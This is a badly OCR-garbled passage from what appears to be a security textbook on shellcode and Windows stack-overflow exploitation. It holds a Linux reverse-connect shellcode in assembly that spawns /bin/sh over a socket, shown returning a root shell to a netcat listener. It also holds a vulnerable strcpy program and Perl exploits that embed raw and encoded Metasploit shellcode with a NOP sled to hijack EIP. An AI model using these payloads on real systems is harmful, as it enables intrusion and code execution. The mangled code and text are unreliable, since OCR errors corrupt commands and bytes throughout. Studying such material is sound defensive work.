nmov bl , 3 ; bl 3 socketcal

mov al , 102 ; socket cal | 3 SYS_CONNECT
int 0x80 ;

; dup?2 client ebx

nmov ebx, esi ; soc ebx

; dup2(soc, 0)
xor ecx, ecx ; ecx
nmov al , 63 ; 63 dup2
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i nt 0x80 ;
; dup2(soc, 1)
inc ecx ; ecx 1
nmov al , 63 ; dup2: 63
int 0x80 ;
; dup2(soc, 2)
inc ecx . ecx 2
nmov al, 63 ; dup2: 63
int 0x80 ;
; execve("/bin/sh". ..
push edx
push | ong 0x68732f 2f
push | ong 0x6e69622f
nmov ebx, esp
push edx
push ebx
nov ecx, esp
nmov al, OxOb
i nt 0x80
C bind listen accept
0x0002
socket dup2

$ nc -nlvv -p 48059
listening on [any] 48059 ..

shell

$ nasm-f elf reverse_connect_asm asm
$ 1d -0 port_connect reverse_connect_asmo
$ ./reverse_connect_asm

shell

289

connect

NULL
client

connect to [10.10.10.101] from (UNKNOWN) [10.10.10.101] 38877

id;
ui d=0(root) gid=0(root) groups=0(root)

shellcode
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[1]
[2]
[3]

[4]
5]

10.4

Smashing the Stack.., Aleph One  www.mindsec.com/files/p49-14.txt

TheArt of Writing Shellcode: by smiler  www.mindsec.com/files/ art-shellcode.txt
Writing Shellcode: by zillion  www.safemode.org/files/zillion/shellcode/doc
/Writing_shellcode.html

Sean Walton, Linux Socket Programming (Indianapolis. SAM S Publishing, 2001)
Good Example of aLinux Reverse Connection Shell
www.packetstormsecurity.org/shellcode/connect-back.c

Linux shellcode

> shellcode
> nasm
>
>
>

» Linux

» Jusr/include/asm/unistd.h

C man 2 execve  man 2 write
int 0x80

> eax unistd.h

> ebx
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> ecx
> edx
> esx
> edi

* exit(0)
>eax Ox1
> ebx

e setreuid(0)

> eax 0x46
> ebx 0x0
> ecx 0x0

® execve
> /bin/sh
>

char * shell[2];
shel | [ 0] ="/ bi n/ sh";
shelI[1] = "0" ;
execve(shell [0] ,

o nasm
nasm -f el f

> Id

shel |

0x0

/1
/1
/1
NULL) /1

<source nane>

Id -0 <output name> <object file.o>

> strace

strace ./ binaryname

> objdump

obj dunp -d ./binaryname

> gas AT&T

NULL

"/Ibin/sh "

execve

201
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° shellcode
>
> socket
» sockaddr_in IP
> socketcall 102 0Ox66
» socketcall unistd.h
° shellcode
>
> shellcode
8 connect bind listen accept
8 sockaddr
8 stdin  stdout  stderr socket
10.4.1
1. shellcode
A.
B.
C.
D.
2. shellcode

shellcode CPU

o0 wp
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o0 wp

> 0w >

o0 wp o0 wp

o0 wp

Linux int O0x80

eax ebx ecx edx ex
ebx ecx edx esx edi
esx ebx ecx edx esx
ebx ecx edx es  edi

setreuid 0x46 setreuid(0,0)

. eax: 0x46, ebx: 0x0, ecx: 0x0
. eax: 0x0, ebx: 0x0, ecx: 0x46
. ebx: 0x0, ecx: 0x0, edx: 0x46
. ebx: 0x46, ecx: 0x0, edx: Ox0

. strace B. objdump C. hexdump
shellcode
shellcode
shellcode
shellcode
IP
shellcode
socket bind listen
connect socket
connect bind accept listen

bind accept listen socket

shellcode

293
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o o

B

shellcode

eax

ecx edx esx edi

A

setreuid(0,0)

edx ex edi
B objdump

C
A

C

IP

connect

0x0
-d

shellcode

eax: 0x46, ebx: 0x0, ecx: 0x0

shellcode
Linux

bind accept listen



W ndows
W indows

° W ndows

° W ndows

[ ]

° W ndows

° W ndows

Linux Linux
bug
Windows Linux  Windows bug
Windows 7 Linux
Windows
11.1 Windows
Windows $1 000 Visual Studio
Visua Studio
Microsoft  Visual Studio.NET 2003 Professional
Windows
11.1.1 Windows
Microsoft C/C++ Optimizing Compiler  Linker http:// msdn.microsoft.com/visualc

/vctoolkit2003/ 32MB “ "
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Visua C++ Toolkit 2003

Linux

C.\grayhat>type hello.c
/lhello.c
#i ncl ude <stdio. h>
main () {
printf("Hello haxor");
}

Windows cl.exe hello.exe

C.\grayhat>cl hello.c

M crosoft (R) 32-bit C C++ Optim zi ng Conpi |l er Version 13.10. 3077 for 80x86
Copyright (C Mcrosoft Corporation 1984-2002. Al rights reserved.
hello.c

M crosoft (R) Increnmental Linker Version 7.10.3077

Copyright (C) Mcrosoft Corporation. Al rights reserved.

/out: hel |l 0. exe

hel | 0. obj

C.\ grayhat >hel | 0. exe

Hel | o haxor

meet.c cl.exe

C.\grayhat >type neet.c
/lneet.c
#i ncl ude <stdio. h>
greeting(char *templ, char *tenp2) {
char name[ 400];
strcpy(nane, tenp2);
printf("Hello % %\n", tenpl, nane);
}
mai n(int argc, char *argv[]){
greeting(argv[1l], argv[2]);
printf("Bye % %\n", argv[l], argv[2]);
}
C. \grayhat>cl neet.c
M crosoft (R) 32-bit C C++ Optim zi ng Conpil er Version 13.10. 3077 for 80x86
Copyright (C Mcrosoft Corporation 1984-2002. Al rights reserved.
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nmeet. c

M crosoft (R) Increnmental Linker Version 7.10.3077
Copyright (C) Mcrosoft Corporation. Al rights reserved.
/out: meet . exe

neet . obj

C:\ grayhat >neet . exe M. Haxor

Hell o M. Haxor

Bye M. Haxor

Windows
cl.exe/?
1Zi Windows
/MLd LIBCD.LIB
/Fe gcc -0 Windows
.exe
exe

meet.exe

C\grayhat>cl /Z /Md neet.c

M crosoft (R) 32-bit T C++ Optim zi ng Conpil er Versi on 13.10. 3077 for 80x86
Copyright (C Mcrosoft Corporation 1984-2002. Al rights reserved.
nmeet. c

M crosoft (R) Increnmental Linker Version 7.10.3077

Copyright (C) Mcrosoft Corporation. Al rights reserved.

[ out : meet . exe

/ debug

neet . obj

C.\grayhat >meet M Haxor

Hell o M Haxor

Bye M Haxor

Windows Unix

11.1.2 Windows

Microsoft http://www.microsoft.com
/whdc/devtool /debugging/instal x86.mspx 10MB
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Files\Debugging Tools

C:.\ debuggers>dir *.exe

Volune indrive Cis LOCAL DI SK Vol une Seri a

of C:\debuggers

05/ 18/ 2004
05/ 18/ 2004
05/ 18/ 2004
04/ 16/ 2004
05/ 18/ 2004
05/ 18/ 2004
05/ 18/ 2004
05/ 10/ 2004
05/ 18/ 2004
05/ 18/ 2004
05/ 18/ 2004
05/ 18/ 2004
05/ 18/ 2004
05/ 10/ 2004
04/ 16/ 2004
04/ 16/ 2004
04/ 16/ 2004
05/ 18/ 2004
04/ 16/ 2004
05/ 18/ 2004
05/ 18/ 2004
05/ 10/ 2004
05/ 11/ 2004
05/ 18/ 2004

12

12

12

06

12

12

12:
06:
/2:
/2:
/2:
12:
12:
07:
07:
07:
07:
12:
07:
12:
12:
07:
10:
12:

22
22
22
18
22
23
23
55
22
22
22
23
23
01
04
05
05
22
08
24
24
01
22
24
24

PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
PM
AM
PM
File(s)

CDB vs. NTSD vs. WinDbg

WinDbg

c:\debuggers

5,632
53, 760
64, 000
68, 096
13, 312

6, 656

5,120

121, 344
52,224
52,224
52,224
18, 944
101, 376

13, 312

54,784
49, 152
161, 792

54,272

54, 784
410, 112
480, 256

20, 992
141, 312
351, 744

2,407,424

Windows

C:\Program

Nunmber is C819-53ED Directory

breaki n. exe
cdb. exe
dbengpr x. exe
dbgr pc. exe
dbgsrv. exe
dunpchk. exe
dunpexam exe
of | ags. exe

| 386kd. exe

i a64kd. exe
kd. exe
kdbgctrl . exe
kdsrv. exe
kill.exe
Iist.exe

| ogger . exe

| ogvi ewer . exe
nt sd. exe
renot e. exe
synthk. exe
synst or e. exe
tlist.exe
umdh. exe

wi ndbg. exe
byt es

CDB Microsoft Console Debugger

NTSD Microsoft NT Symbolic Debugger

NTSD

GUI

Windows

CDB
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GUI WinDbg
GUI CDB NTSD WinDbg
/ Windows  system32 ntsd.exe
\ Windows system32
== NTSD
Windows
Windows
gdb
gdb
bp <address> b *mem
bp <function> b <function> bm
bm <function>
bl info b
bc <ID> delete b
g run /
r info reg
p next or n
k (kb / kP) bt
frame <#> up/down “
dd <address> XINTA dd= da=ASClI db = ASCII
(da/ db/ du) du = Unicode
dt <variable> dv/V  p <variable> P
uf <function> disassemble
u <address> <function>
q quit
debugger.chm hh debugger.chm Debugger

Reference | Debugger Commands | Commands
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DLL
Microsoft
Microsoft
Windows symsrv.dil
_NT_SYMBOL_PATH

C.\grayhat >set _NT_SYMBOL_PATH=c: \ synbol s

C.\grayhat >set _NT_SYMBOL_PATH=symsrv*synsrv.dl | *c:\synbol s*http://nsdl.
m crosoft. com downl oad/ synbol s

c:\symbols
Microsoft
c:\symbols

Microsoft

C.\grayhat >set _NT_SYMBOL_PATH=srv*c:\synbol s*http://msdl . mcrosoft.conf
downl oad/ synbol s

meet.exe

cdb WinDbg

cdb

C.\grayhat>nd c:\synbol s

C. \grayhat >set _NT_SYMBOL_PATH=srv*c:\synmbol s*http://nmsdl . m crosoft.conl
downl oad/ synbol s
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C:.\ grayhat >c: \ debugger s\ cdb. exe nmeet M Haxor

M crosoft (R) W ndows Debugger Version 6.3.0017.0

Copyright (C) Mcrosoft Corporation. Al rights reserved.

CommandLi ne: neet M Haxor

Synbol search path is: srv*c:\symbol s*http://nsdl.m crosoft.com downl oad
/ synmbol s Executabl e search path is:

MbdLoad: 00400000 00419000 neet. exe ModLoad: 77f 50000 77ff 6000 ntdl|.dl|
ModLoad: 77e60000 77f45000 C:\ W NDOWB\ syst enB2\ ker nel 32. dl |

(280.1f60): Break instruction exception - code 80000003 (first chance)
eax=77f c4cOf ebx=7ffdf 000 ecx=00000006 edx=77f51340 esi =00241eb4

edi =00241eb4 ei p=77f 75554 esp=0012f b38 ebp=0012fc2c iopl =0 nv up ei pl nz
na pe nc ¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
nt dl | ! DbgBr eakPoi nt :

77f 75554 cc i nt 3

0: 000>

cdb
DLL

0: 000> k

Chi | dEBP Ret Addr

0012f b34 77f 6462c ntdl | ! DbgBr eakPoi nt

0012f c90 77f552e9 ntdll!LdrplnitializeProcess+0Oxda4
0012fdlc 77f75883 ntdll!Ldrplnitialize+0x186
00000000 00000000 ntdlI!Ki User ApcDi spat cher +0x7

Windows

cdb -g
main

0: 000> bm neet! nai n

*** WARNI NG Unable to verify checksum for neet.exe
1: 00401060 neet! main

0: 000> bl

1 e 00401060 0001 (0001) O:*** peet!main

ntdl| main
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0: 000> g
Breakpoint 1 hit
eax=00320e60 ebx=7f f df 000 ecx=00320e00 edx=00000003 esi =00000000
edi =00085f 38
ei p=00401060 esp=0012f ee0 ebp=0012ffcO i opl =0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 ef | =00000246
meet! nmain:
00401060 55 push ebp
0: 000> k
Chi | dEBP Ret Addr
0012f edc 004013a0 neet! main
0012ffcO 77e7eb69 neet! mai NCRTSt art up+0x170
0012fff 0 00000000 kernel 32! BaseProcessSt art +0x23
kernel32
push ebp function prolog
gdb cdb I+s
|+t
debugger.chm “ Debugging in Source Modg”

Jines

DLL Jines

0: 000> .lines

Li ne nunber information will be | oaded

0: 000> k

Chi | dEBP Ret Addr

0012f edc 004013a0 neet!main [c:\grayhat\neet.c @ 8]
0012ffcO 77e7eb69 neet! mai nCRTSt art up+0x170
[f:\vs70buil ds\3077\vc\crtbld\crt\src\crt0.c @ 259]
0012f ff 0O 00000000 kernel 32! BaseProcessStart +0x23

0: 000> g

Hel l o M Haxor

Bye M Haxor

eax=c0000135 ebx=00000000 ecx=00000000 edx=00000000 esi =77f5c2d8

edi =00000000

ei p=7f f e0304 esp=0012f da4 ebp=0012f e9c i opl =0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 ef | =00000202
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Shar edUser Dat a! Syst entCal | St ub+0x4:

7ffe0304 c3 ret

0: 000> k

Chi | dEBP Ret Addr

0012f da0 77f5c2e4 SharedUser Dat a! Syst ental | St ub+0x4
0012f dad4 77e75ca4 ntdl|! ZwTer m nat ePr ocess+0xc

0012f e9c 77e75cc6 kernel 32! Exit Process+0x57

0012f eb0 00403403 kernel 32! Exi t Process+0x11

0012f ec4 004033b6 neet! crtExitProcess+0x43
[f:\vs70buil ds\3077\vc\crtbld\crt\src\

crtOdat.c @ 464]

0012f ed0 00403270 neet! doexit+0xd6

[f:\vs70buil ds\3077\vc\crtbld\crt\src\crtOdat.c @ 414]
0012f ee4 004013b5 neet!exit+0x10

[f:\vs70buil ds\3077\vc\crtbld\crt\src\crtOdat.c @ 303]
0012ffcO 77e7eb69 neet! mai NCRTSt art up+0x185
[f:\vs70buil ds\3077\vc\crtbld\crt\src\crt0.c @ 267]
0012f ff 0 00000000 kernel 32! BaseProcessSt art +0x23

Windows cdb -G
restart

Windows

main  greeting

C:\ grayhat >c: \ debugger s\ cdb. exe meet M Haxor

0: 000> bm neet! nmai n

*** WARNI NG Unable to verify checksum for neet.exe
1: 00401060 neet!main

0: 000> bm neet! *greet*

2: 00401020 neet!greeting

0: 000> g

Breakpoint 1 hit

nmeet ! main:
00401060 55 push ebp
0: 000>
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main argc
argv dv
d db

0: 000> dv /V

0012f ee4 @bp+0x08 argc = 3

0012f ee8 @bp+0x0c argv = 0x00320e00
0: 000> dt argv

Local var @O0x12fee8 Type char**

0x00320e00

-> 0x00320el0 "neet"

dv argc  argv argc ebp+0x08 argv
ebptOx0c dt argv
0x00320e00 0x00320e10

0: 000> db 0x00320e10
00320e10 6d 65 65 74 00 4d 72 00-48 61 78 6f 72 00 fd fd neet. M. Haxor. ..

greeting

0: 000> g Breakpoint 2 hit

nmeet ! greeting:

00401020 55 push ebp

0: 000> kP

Chi | dEBP Ret Addr

0012f ecc 00401076 neet! greeti ng(
char * tenpl
char * tenp2

0012f edc 004013a0 neet! mai n(
int argc = 3,
char ** argv = 0x00320e00) +0x16

0012ffcO 77e7eb69 neet! nai NCRTSt art up(voi d)+0x170 0012fff0 00000000

ker nel 32! BaseProcessSt art +0x23

0x00320e15 "M ",
0x00320e18 "Haxor")

greeting char*

0: 000> dv /V

0012f ed4 @bp+0x08 tenpl 0x00320e15 "M
0012f ed8 @bp+0x0c tenp2 0x00320e18 "Haxor"
0012f d3c @bp-0x190 name = char [400] "???"
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name ebp-0x190

190

0: 000> .formats 190
Eval uat e expression

Hex: 00000190
Deci mal : 400
name ebp
p
0: 000> pr
meet ! greeti ng+0x1:
00401021 8bec nmov
0: 000> p

nmeet ! greeti ng+0x3:
00401023 81ec90010000 sub
0: 000> pr

eax=00320e15 ebx=7ffdf 000 ecx=00320e18 edx=00320e00 esi =00000000

edi =00085f 38

calc.exe

0x190 400

pr

ebp, esp

esp, 0x190

ei p=00401029 esp=0012f d3c ebp=0012f ecc i opl =0 nv up ei p

cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000

nmeet ! greet i ng+0x9:
00401029 8b450c nmov

esp
0x0012fd3c

400 0x190

0: 000> .formats esp+190
Eval uat e expression
Hex: 0012f ecc

esp+0x190 esp+400

name

0: 000> dd esp+190+4 |1
0012f ed0 00401076

ebp

nz na po nc
ef | =00000206

eax, [ ebp+0xc] ss:0023: 0012f ed8=00320e18
esp
name
0x0012fecc
r ebp 0x0012fecc

ebp

ebp

305
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debugger.chm
“ Address and Address Range Syntax”

0: 000> k

Chi | dEBP Ret Addr

0012f ecc 00401076 neet! greeti ng+0x9

0012f edc 004013a0 neet! mai n+0x16

0012ffcO 77e7eb69 neet! mai NCRTSt art up+0x170
0012f ff 0 00000000 kernel 32! BaseProcessSt art +0x23

ep ep
0: 000> dd esp+190+4+4 |1
0012f ed4 00320e15

0: 000> db 00320e15
00320el15 4d 72 00 48 61 78 6f 72-00 fd fd fd fd ab ab ab M.Haxor........

8 11.1
I I ESP I name I EBP I EIP Itempl Itempz I
0x11111111 OxfffffffO
11.1 meet!greeting
CDB
Windows u uf u
u
uf

0: 000> uf s meet! greeting

meet ! greeting:

00401020 55 push ebp
00401021 8bec nmv ebp, esp
00401023 81ec90010000 sub esp, 0x190
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00401029 8b450c nmov eax, [ ebp+0xc]
0040102c 50 push eax
0040102d 8d8d70feffff |lea ecx, [ebp-0x190]
00401033 51 push ecx
00401034 e8f 7000000 call nmeet ! strcpy (00401130)
00401039 83c408 add esp, 0x8
0040103c 8d9570feffff |ea edx, [ ebp- 0x190]
00401042 52 push edx
00401043 8b4508 nmv eax, [ ebp+0x8]
00401046 50 push eax
00401047 68405b4100 push 0x415b40
0040104c e86f 000000 call meet ! printf (004010c0)
00401051 83c40c add esp, Oxc
00401054 8beb nmov esp, ebp
00401056 5d pop ebp
00401057 c3 ret
7 Linux
11.1.3 Windows
Windows Windows Windows
Windows 8
Linux Windows
meet.exe shellcode
H.D. Moore Metasploit shellcode M etasploit
6 shellcode meet.exe meet.exe
ep shellcode
meet.exe eip
8 Linux meet.exe segmentation fault
Windows Windows Perl
www.activestate.com/Products/ActivePerl/ ActivePerl
Windows Perl
meet.exe Windows Linux ‘
Perl shellcode
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exec Perl

C.\ grayhat >t ype command. p
exec 'c:\\debuggers\\ntsd',’'-g’,' -G, 'neet’,’M.’,("A" x 500)

\  Pel \
ntsd
cdb ntsd

C.\ grayhat >per| conmmand. pl

R ) ...

M crosoft (R) W ndows Debugger Version 6.3.0017.0
Copyright (C) Mcrosoft Corporation. Al rights reserved.
ConmandLi ne: neet M. AAAAAAA [rest of A s renoved]

(740. bd4): Access violation - code c0000005 (first chance)
Fi rst chance exceptions are reported before any exception handling
Thi s exception may be expected and handl ed.
Eax=41414141 ebx=7f f df 000 ecx=7fffffff edx=7ffffffe esi =00080178
edi =00000000
ei p=00401d7c esp=0012f a4c ebp=0012f dO8 i opl =0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 @gs=0000 ef 1 =00010206
*** WARNI NG Unable to verify checksum for neet.exe
nmeet ! _out put +0x63c:
00401d7c Of be08 novsx  ecx, byte ptr [eax] ds: 0023: 41414141=?7
0: 000> kP
Chi | dEBP Ret Addr
0012f dO8 00401112 neet! _out put (
struct _iobuf
char * format
char * argptr
0012f d28 00401051 neet!printf(
char * fornat 0x00415b40 "Hello % %."
int buffing = 1)+0x52
0012f ecc 41414141 neet! greeti ng(
char * tenpl = 0x41414141 " " |
char * tenp2 = 0x41414141 "")+0x31
WARNI NG Frane I P not in any known nodul e. Followi ng franes nmay be wong.
41414141 00000000 0x41414141
0: 000>

*

stream = 0x00415b90
0x00415b48 " %s."
0x0012f d38 "<???")+0x63cC
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500 A greeting strepy
8 ep name
404 ep 4 name 404 408

C.\grayhat>perl -e "exec ’'c:\\debuggers\\ntsd','-g’,'-G, ' neet’,’M.",
("A" x 408) "

R ) ...

CommandLi ne: neet M. AAAAAAAAAAAAAAAAAAAAAAAAAA A ]

(9bc. 56¢c): Access violation - code c0000005 (first chance)

Fi rst chance exceptions are reported before any exception handling

Thi s exception may be expected and handl ed.

Eax=000001a3 ebx=7ffdf 000 ecx=00415b90 edx=00415b90 esi =00080178
edi =00000000 ei p=41414141 esp=0012f ed4 ebp=41414141 iopl =0 nv up ei pl nz
na po nc ¢s=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 ef | =00010206

41414141 ?7? ?27??
0: 000>
eip! shellcode
shellcode
Linux Alephl  shellcode shellcode
Metasploit shellcode Metasploit shellcode
meet.exe shellcode
meet.exe Windows calc.exe Metasploit ~ Web
shellcode
shellcode Web http://www.metaspl oit.com/tool s/'msfpayl oad.cgi?
PAY LOAD=win32_exec CMD calc.exe Encode Payload
Generate Shellcode 11.2 Generate Shellcode Web
C shellcode shellcode 8
shellcode

C.\grayhat >t ype shel | code. c

/* win32_exec - Raw Shellcode [ EXI TFUNC=seh CMD=cal c. exe Size=162 ]
http://metasploit.com*/

unsi gned char scode[] =

"\ xf c\ xe8\ x56\ x00\ x00\ x00\ x53\ x55\ x56\ x57\ x8b\ x6¢\ x24\ x18\ x8b\ x45"
"\ x3c\ x8b\ x54\ x05\ x78\ x01\ xea\ x8b\ x4a\ x18\ x8b\ x5a\ x20\ x01\ xeb\ xe3"
"\ x32\ x49\ x8b\ x34\ x8b\ x01\ xee\ x31\ xf f\ xf c\ x31\ xcO\ xac\ x38\ xe0\ x74"
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"\ x07\ xc1\ xcf\ x0d\ x01\ xc7\ xeb\ xf 2\ x3b\ x7c\ x24\ x14\ x75\ xel\ x8b\ x5a"
"\ x24\ x01\ xeb\ x66\ x8b\ x0c\ x4b\ x8b\ x5a\ x1c\ x01\ xeb\ x8b\ x04\ x8b\ x01"
"\ xe8\ xeb\ x02\ x31\ xc0\ x5f \ x5e\ x5d\ x5b\ xc2\ x08\ x00\ x5e\ x6a\ x30\ x59"
"\ x64\ x8b\ x19\ x8b\ x5b\ x0c\ x8b\ x5b\ x1c\ x8b\ x1b\ x8b\ x5b\ x08\ x53\ x68"
"\ x8e\ x4e\ x0e\ xec\ xf f\ xd6\ x89\ xc7\ xeb\ x18\ x53\ x68\ x98\ xf e\ x8a\ x0e"
"\ xf f\xd6\ xff\xdO\ x53\ x68\ xf 0\ x8a\ x04\ x5f \ xf f\ xd6\ x6a\ x00\ xf f\ xd0"
"\ xf f\ xdO\ x6a\ x00\ xe8\ xel\ xf f\ xff\ xff\x63\x61\x6c\x63\x2e\ x65\ x78"

"\ x65\ x00";

int main()

{
int *ret; Il ret
ret = (int *)&et + 2 /1 ret
(*ret) = (int)scode

}

C. \grayhat>cl shell code.c

C:\ grayhat >shel | code. exe

‘;_ Payload Information - Micresoft Internet Explorer; x|
File Edit  View Favorites Tools  Help i
Qe+ - @ - x| 7] Search Favorites {04 - éé 3

2] hbp: femwas, metasploit, comjtonls/msfpayload, caiPPAYLOAD=win32_sxec v | 4 co

Name: Windows Execute Command
Version: $Revision: 1.14 §
Authors: H D Moore <hdm [at] metasploit.com>
Architecture: x86
Privileged: Mo
Multistage: Mo
Supported 0S: win32
Total Size: 155
Payload
Options:

. The command string to
CMD Required DATA calcexe e

. Exit technigque: "process",
EXITFUNC Optional DATA seh Tthread”, "sen'

Encode Payload: []
Bad Characters: a0

Generate Shellcode

21 Done © Inkernet

11.2 metasploit.com Win32 shellcode

clac.exe shellcode shellcode calc.exe
shellcode shellcode
11.3
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f Calcar. . EO®! =

TOHex (DDec OOct (OBin Degrees Radians Grads

[ [Hwe ‘Backspata‘ﬁ. e

Please tell Microsoft about this problem.

‘We have created an eror report that pou can send to us. We will treat
this repart as confidential and anohypmaus.

| st ‘ ‘_‘ ‘_‘ ‘_‘ ‘£‘ |L‘ |LH E shellcode.exe has encountered a problem and needs to
‘7‘ ‘7‘ ‘7‘ ‘W‘ |T‘ |TH close. We are sory for the inconvenience.
‘:‘ ‘:‘ ‘:‘ ‘ Mo ‘ |£‘ | : ‘ | | wou were it the middle of something, the information you were working on
BB B®E =) el
(]C2] ) L]

To see what data this emar report containg, click here.

S ) Send Error Report
Copyright (C) Microsoft Cd

/out:shellcode.exe
shellcode.obj

C:\book>shellcode.exe

C: \book>

11.3 shellcode calc.exe

shellcode meet.exe

Linux

C.\grayhat >type get_sp.c
get _sp() { __asmnmov eax, esp }
int main(){
printf("Stack pointer (ESP): Ox%\n", get_sp()); }
C.\grayhat>cl get_sp.c

C\ gg ayhat >get _sp. exe :
Stack pointer (ESP): 0x12fedc
Windows XP 0x0012fedc
4 0 get sp.exe 0
0 strepy NULL
0x00 NULL
NULL

nop sled shellcode nop 404
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command.pl
Metasploit shellcode shellcode Perl shellcode
C shellcode
shellcode 162 shellcode  nop 404
24 nop sled shellcode 218 nop
408 0x190 + 0x8 nop sled
shellcode

C.\ grayhat >t ype conmand. pl

# wi n32_exec - Raw Shellcode [ EXI TFUNC=I CMD=cal c. exe Size=162 ]
http://nmetasploit.com

ny $shellcode =

"\ xf c\ xe8\ x56\ x00\ x00\ x00\ x53\ x55\ x56\ x57\ x8b\ x6¢c\ x24\ x18\ x8b\ x45" .

"\ x3c\ x8b\ x54\ x05\ x78\ x01\ xea\ x8b\ x4a\ x18\ x8b\ x5a\ x20\ x01\ xeb\ xe3 "

"\ x32\ x49\ x8b\ x34\ x8b\ x01\ xee\ x31\ xf f\ xf c\ x31\ xcO\ xac\ x38\ xe0\ x74".

"\ x07\ xc1\ xcf\ x0d\ x01\ xc7\ xeb\ xf 2\ x3b\ x7c\ x24\ x14\ x75\ xel\ x8b\ x5a" .

"\ x24\ x01\ xeb\ x66\ x8b\ x0c\ x4b\ x8b\ x5a\ x1c\ x01\ xeb\ x8b\ x04\ x8b\ x01" .

"\ xe8\ xeb\ x02\ x31\ xcO\ x5f \ x5e\ x5d\ x5b\ xc2\ x08\ x00\ x5e\ x6a\ x30\ x59 "

"\ x64\ x8b\ x19\ x8b\ x5b\ x0c\ x8b\ x5b\ x1c\ x8b\ x1b\ x8b\ x5b\ x08\ x53\ x68" .

"\ x8e\ x4e\ x0e\ xec\ xf f\ xd6\ x89\ xc7\ xeb\ x18\ x53\ x68\ x98\ xf e\ x8a\ x0e".

"\ xf £\ xd6\ xf f\xdO\ x53\ x68\ xf O\ x8a\ x04\ x5f \ xf f\ xd6\ x6a\ x00\ xf f\ xd0".

"\ xf f\ xdO\ x6a\ x00\ xe8\ xel\ xf f\ xff\xff\x63\x61\x6c\x63\ x2e\ x65\ x78".

"\ x65\ x00";

# get _sp gave us Ox12fedc. Subtract 0x190 for name and 0x8 for buffers

ny $return_address = "\x44\ xf d\ x12\ x00";

ny $nop_before = "\x90" x 24;

ny $nop_after = "\x90" x 218;

ny $payl oad = $nop_before. $shel | code. $nop_after. $ret urn_address;

exec 'meet’,’ M.’ , $payl oad

C.\ grayhat >per| conmand. pl

C\grayhat>Hello M. "®V

Bye M. "oV

A
eip Perl "oV
408 shellcode \xfc\xe8\x56\x00
Metasploit shellcode NULL strcpy 3

Metasploit shellcode
shellcode shellcode \x00



11 Windows

313
name
argv
shellcode 0x20  0x22 Bad Characters
“ 0x00 0x20 0x22 0x09" Encode Payload shellcode
command.pl shellcode 187 nop

# wi n32_exec - Encoded Shell code [\x00\x20\x22\x09] [ EX TFUNC=I
CVD=cal c. exe Size=187 ] http://netasploit.com

ny $shell code =

"\ xd9\ xee\ xd9\ x74\ x24\ xf 4\ x5b\ x31\ xc9\ xb1\ x29\ x81\ x73\ x17\ x95\ x8e" .
"\ xc4\ xc2\ x83\ xeb\ xf c\ xe2\ xf 4\ x69\ x66\ x92\ xc2\ x95\ x8e\ x97\ x97\ xc3 "
"\ xd9\ x4f \ xae\ xb1\ x96\ x4f \ x87\ xa9\ x05\ x90\ xc7\ xed\ x8f \ x2e\ x49\ xdf " .
"\ x96\ x4f \ x98\ xb5\ x8f \ x2f \ x21\ xa7\ xc7\ x4f \ xf 6\ x1e\ x8f \ x2a\ xf 3\ x6a".
"\ x72\ xf 5\ x02\ x39\ xb6\ x24\ xb6\ x92\ x4f \ x0b\ xcf\ x94\ x49\ x2f \ x30\ xae".
"\ xf 2\ xeO0\ xd6\ xe0\ x6f \ x4f \ x98\ xb1\ x8f \ x2f \ xa4\ x1e\ x82\ x8f \ x49\ xcf".
"\ x92\ xc5\ x29\ x1e\ x8a\ x4f \ xc3\ x7d\ x65\ xc6\ xf 3\ x55\ xd1\ x9a\ xof \ xce".
"\ x4c\ xcc\ xc2\ xch\ xe4\ xf 4\ x9b\ xf 1\ x05\ xdd\ x49\ xce\ x82\ x4f\ x99\ x89 "
"\ x05\ xdf \ x49\ xce\ x86\ x97\ xaa\ x1b\ xc0O\ xca\ x2e\ x6a\ x58\ x4d\ x05\ x7e".
"\ x96\ x97\ xaa\ x0d\ x70\ x4e\ xcc\ x6a\ x58\ x3b\ x12\ xc6\ xe6\ x34\ x48\ x91".
"\ xd1\ x3b\ x14\ xf f\ x8e\ x3b\ x12\ x6a\ x5e\ xae\ xc2\ x7d\ x6f \ x3b\ x3d\ x6a" .
"\ xed\ xa5\ xae\ xf 6\ xa0\ xal\ xba\ xf 0\ x8e\ xc4\ xc2";

# get _sp gave us Ox12fedc. Subtract 0x190 for name and 0x8 for buffers ny
$return_address = "\ x44\ xfd\ x12\ x00";

ny $nop_before = "\x90" x 24;

ny $nop_after = "\x90" x 193;

ny $payl oad = $nop_before. $shel | code. $nop_after. $ret urn_address;
exec 'c:\\debuggers\\ntsd', '-g’, '-G, 'neet’, 'M.’', $payl oad,
C.\ grayhat >per| conmand. pl

c:\debuggers exec

Cdc.exe
ntsd -g
exec

exec 'c:\\debuggers\\ntsd', '-G, 'neet’, 'M.’', $payl oad;
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meet! greeting
C.\ grayhat >per| conmmand. pl
M crosoft I  Wndows Debugger Version 6.3.0017.0

Copyri ght (O M crosoft Corporation. All rights reserved.
ConmandLi ne: neet M. Jedt$ f [lils|6A--a8TfifiE (...)

0: 000> ui : meet!greeting
meet ! greeting:
00401020 55 push ebp
00401021 8bec nov ebp, esp
00401023 81ec90010000 sub esp, 0x190
00401029 8b450c nov eax, [ ebp+0xc]
0040102c 50 push eax
0040102d 8d8d70f ef f f f | ea ecx, [ ebp- 0x190]
00401033 51 push ecx
00401034 e8f 7000000 call neet ! strcpy (00401130)
00401039 83c408 add esp, 0x8
0040103c 8d9570f ef f f f | ea edx, [ ebp- 0x190]
00401042 52 push edx
00401043 8b4508 nov eax, [ ebp+0x8]
00401046 50 push eax
00401047 68405b4100 push 0x415b40
0040104c e86f 000000 call neet!printf (004010c0)
00401051 83c40c add esp, Oxc
00401054 8beb nov esp, ebp
00401056 5d pop ebp
00401057 c3 ret
strcpy ret
strcpy ret

0: 000> bp 00401034

0: 000> bp 00401057

0: 000> g

Breakpoint O hit

eax=00320del ebx=7ffdf 000 ecx=0012f d3c edx=00320dc8 esi =7ffdebf8
edi =00000018

ei p=00401034 esp=0012f d34 ebp=0012f ecc i opl =0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 ef 1 =00000206
